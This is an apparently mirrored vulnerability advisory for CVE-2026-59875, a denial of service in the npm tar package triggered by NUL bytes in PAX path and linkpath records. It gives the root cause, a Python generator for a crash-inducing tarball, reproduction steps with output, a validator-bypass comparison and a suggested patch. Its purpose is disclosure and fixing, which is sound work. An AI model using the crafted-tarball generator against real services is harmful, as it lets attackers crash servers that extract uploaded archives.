GHSA-GVWX-54WH-QM9J
Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51
VLAI
Summary
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Details
Summary
node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.
A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.
Root cause
Vulnerable sink — src/pax.ts:157-183
PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
const n = parseInt(line, 10)
if (n !== Buffer.byteLength(line) + 1) return set
line = line.slice((n + ' ').length)
const kv = line.split('=')
const r = kv.shift()
if (!r) return set
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
const v = kv.join('=') // <-- NO NUL STRIP
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
: /^[0-9]+$/.test(v) ? +v
: v // <-- v with NULs lands here
return set
}
The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().
Correctly-patched cousin sink — src/parse.ts:375-388
The equivalent code path for GNU L/K long-headers does strip NUL bytes:
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
const ex = this[EX] ?? Object.create(null)
this[EX] = ex
ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
case 'NextFileHasLongLinkpath': {
const ex = this[EX] || Object.create(null)
this[EX] = ex
ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.
Downstream blast radius
entry.path and entry.linkpath are consumed in:
- src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
- src/list.ts (no crash — listing tolerates NUL in strings)
- Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path
The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.
Proof of Concept
Artifacts
poc-null-byte-crash.tar— 3072 bytes — PAXpath=visible.txt\x00hidden.txtpoc-null-linkpath-crash.tar— 2560 bytes — PAXlinkpath=target\x00garbage(symlink target sink)poc1-pax-prefix.py— minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro — Python 3)
#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os
def cksum(b):
s = 0
for i, x in enumerate(b):
s += 0x20 if 148 <= i < 156 else x
return s
def pad512(buf):
rem = len(buf) % 512
return buf + b'\0' * (512 - rem) if rem else buf
def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
b = bytearray(512)
b[0:len(name[:100])] = name[:100]
b[100:108] = b'0000644\0'
b[108:116] = b'0001000\0'
b[116:124] = b'0001000\0'
b[124:136] = ('%011o ' % size).encode()
b[136:148] = ('%011o ' % 0).encode()
b[148:156] = b' '
b[156:157] = typeflag
b[157:157+len(linkpath[:100])] = linkpath[:100]
b[257:265] = b'ustar\x0000'
b[265:270] = b'root\0'
b[297:302] = b'root\0'
b[329:337] = b'0000000\0'
b[337:345] = b'0000000\0'
b[345:345+len(prefix[:155])] = prefix[:155]
s = cksum(b)
b[148:156] = ('%06o\0 ' % s).encode()
return bytes(b)
def pax(records):
body = b''
for k, v in records:
kv = b' ' + k + b'=' + v + b'\n'
for digits in range(1, 8):
total = digits + len(kv)
if len(str(total)) == digits:
break
body += str(total).encode() + kv
return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)
out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024 # end-of-archive
open('poc.tar', 'wb').write(out)
Reproduction
# 1. Generate tarball
python3 poc1-pax-prefix.py # writes poc.tar (3 KB)
# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16
# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
process.on("uncaughtException", e => {
console.log("UNCAUGHT:", e.code, "-", e.message);
process.exit(99);
});
import("tar").then(async tar => {
try {
await tar.x({ file: "../poc.tar", cwd: "./out" });
console.log("NORMAL_RETURN");
} catch (e) {
console.log("CAUGHT_BY_USER:", e.code);
}
});'
Observed output (verified 2026-06-23 against tar@7.5.16)
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.
Impact
Direct: remote DoS
Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:
- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (
actions/cache,actions/setup-*extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
- Cloud functions that auto-extract uploaded archives
A correctly-coded consumer that does:
try {
await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
return res.status(400).json({ error: 'bad archive' });
}
does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.
Secondary: parser-differential validator bypass (CWE-436)
| Tool | Result for path=visible.txt\x00hidden.txt |
|---|---|
GNU tar (tar -tvf) |
Lists visible.txt (truncated at NUL) |
bsdtar -tvf |
Lists visible.txt (truncated at NUL) |
Python tarfile.list() |
Lists visible.txt\x00hidden.txt (raw) |
node-tar tar.t({file}) |
Emits raw NUL-bearing path (no crash) |
node-tar tar.x({file}) |
Crashes (uncaught throw) |
A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.
Suggested patch
Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:
--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
- const v = kv.join('=')
+ const v = kv.join('=').replace(/\0.*$/, '')
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.
A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.16"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59875"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:51:12Z",
"nvd_published_at": "2026-07-08T16:16:34Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer\u0027s `await/try-catch` around `tar.x()` \u2014 it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink \u2014 `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n const n = parseInt(line, 10)\n if (n !== Buffer.byteLength(line) + 1) return set\n line = line.slice((n + \u0027 \u0027).length)\n const kv = line.split(\u0027=\u0027)\n const r = kv.shift()\n if (!r) return set\n const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n const v = kv.join(\u0027=\u0027) // \u003c-- NO NUL STRIP\n set[k] =\n /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n new Date(Number(v) * 1000)\n : /^[0-9]+$/.test(v) ? +v\n : v // \u003c-- v with NULs lands here\n return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary \u2014 but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink \u2014 `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase \u0027NextFileHasLongPath\u0027:\ncase \u0027OldGnuLongPath\u0027: {\n const ex = this[EX] ?? Object.create(null)\n this[EX] = ex\n ex.path = this[META].replace(/\\0.*/, \u0027\u0027) // \u003c-- NUL strip applied\n break\n}\ncase \u0027NextFileHasLongLinkpath\u0027: {\n const ex = this[EX] || Object.create(null)\n this[EX] = ex\n ex.linkpath = this[META].replace(/\\0.*/, \u0027\u0027) // \u003c-- NUL strip applied\n break\n}\n```\n\nThe `parse.ts` fix is the maintainer\u0027s own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` \u2192 `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash \u2014 listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user\u0027s `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` \u2014 3072 bytes \u2014 PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` \u2014 2560 bytes \u2014 PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` \u2014 minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro \u2014 Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n s = 0\n for i, x in enumerate(b):\n s += 0x20 if 148 \u003c= i \u003c 156 else x\n return s\n\ndef pad512(buf):\n rem = len(buf) % 512\n return buf + b\u0027\\0\u0027 * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b\u0027\u0027, linkpath=b\u0027\u0027):\n b = bytearray(512)\n b[0:len(name[:100])] = name[:100]\n b[100:108] = b\u00270000644\\0\u0027\n b[108:116] = b\u00270001000\\0\u0027\n b[116:124] = b\u00270001000\\0\u0027\n b[124:136] = (\u0027%011o \u0027 % size).encode()\n b[136:148] = (\u0027%011o \u0027 % 0).encode()\n b[148:156] = b\u0027 \u0027\n b[156:157] = typeflag\n b[157:157+len(linkpath[:100])] = linkpath[:100]\n b[257:265] = b\u0027ustar\\x0000\u0027\n b[265:270] = b\u0027root\\0\u0027\n b[297:302] = b\u0027root\\0\u0027\n b[329:337] = b\u00270000000\\0\u0027\n b[337:345] = b\u00270000000\\0\u0027\n b[345:345+len(prefix[:155])] = prefix[:155]\n s = cksum(b)\n b[148:156] = (\u0027%06o\\0 \u0027 % s).encode()\n return bytes(b)\n\ndef pax(records):\n body = b\u0027\u0027\n for k, v in records:\n kv = b\u0027 \u0027 + k + b\u0027=\u0027 + v + b\u0027\\n\u0027\n for digits in range(1, 8):\n total = digits + len(kv)\n if len(str(total)) == digits:\n break\n body += str(total).encode() + kv\n return pad512(hdr(b\u0027PaxHeader/poc\u0027, len(body), b\u0027x\u0027) + body)\n\nout = pax([(b\u0027path\u0027, b\u0027visible.txt\\x00hidden.txt\u0027)]) # NUL in PAX path\nout += hdr(b\u0027placeholder\u0027, 1, b\u00270\u0027)\nout += pad512(b\u0027A\u0027)\nout += b\u0027\\0\u0027 * 1024 # end-of-archive\n\nopen(\u0027poc.tar\u0027, \u0027wb\u0027).write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch \u2014 observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e \u0027\n process.on(\"uncaughtException\", e =\u003e {\n console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n process.exit(99);\n });\n import(\"tar\").then(async tar =\u003e {\n try {\n await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n console.log(\"NORMAL_RETURN\");\n } catch (e) {\n console.log(\"CAUGHT_BY_USER:\", e.code);\n }\n });\u0027\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument \u0027path\u0027 must be a string,\nUint8Array, or URL without null bytes.\nReceived \u0027/.../out/visible.txt\\x00hidden.txt\u0027\nexit: 99\n```\n\nThe exception bypasses the user\u0027s `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n return res.status(400).json({ error: \u0027bad archive\u0027 });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) |\n| `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) |\n| Python `tarfile.list()` | Lists `visible.txt\\x00hidden.txt` (raw) |\n| node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) |\n| node-tar `tar.x({file})` | **Crashes** (uncaught throw) |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` \u2014 strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n\n- const v = kv.join(\u0027=\u0027)\n+ const v = kv.join(\u0027=\u0027).replace(/\\0.*$/, \u0027\u0027)\n set[k] =\n /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes(\u0027\\0\u0027))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren\u0027t* path/linkpath also can\u0027t smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).",
"id": "GHSA-gvwx-54wh-qm9j",
"modified": "2026-07-20T21:51:12Z",
"published": "2026-07-20T21:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59875"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…